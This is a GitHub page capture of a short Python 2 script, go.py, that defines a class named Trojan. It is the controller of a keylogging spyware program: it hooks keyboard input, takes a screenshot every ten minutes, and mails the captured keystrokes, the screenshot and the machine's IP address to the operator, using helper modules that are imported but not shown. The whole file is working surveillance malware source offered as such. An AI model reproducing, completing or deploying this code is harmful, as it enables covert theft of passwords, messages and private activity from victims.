-
Notifications
You must be signed in to change notification settings - Fork 0
/
go.py
43 lines (35 loc) · 757 Bytes
/
go.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
import MyHook
import GetScrPic
import Mail
import thread
import time
import os
import GetIP
class Trojan:
def __init__(self):
self.hook = MyHook.RecordMessage()
getIP = GetIP.Getmyip()
self.ip = getIP.getip()
def Record(self):
self.hook.go()
def Send(self):
while True:
scrPic = GetScrPic.ScrPic()
picname = scrPic.Get('')
info = self.hook.GetInfo()
if info == '':
info ="无输入"
print info
#info.encode('utf-8')
Mail.send(self.ip,info,picname)
#os.remove(picname)为了加快图片删除的速度将改代码放入了mail模块中
time.sleep(600)
def go(self):
thread.start_new_thread(self.Send,())
self.Record()
def main():
trojan = Trojan()
trojan.go()
if __name__ == '__main__':
main()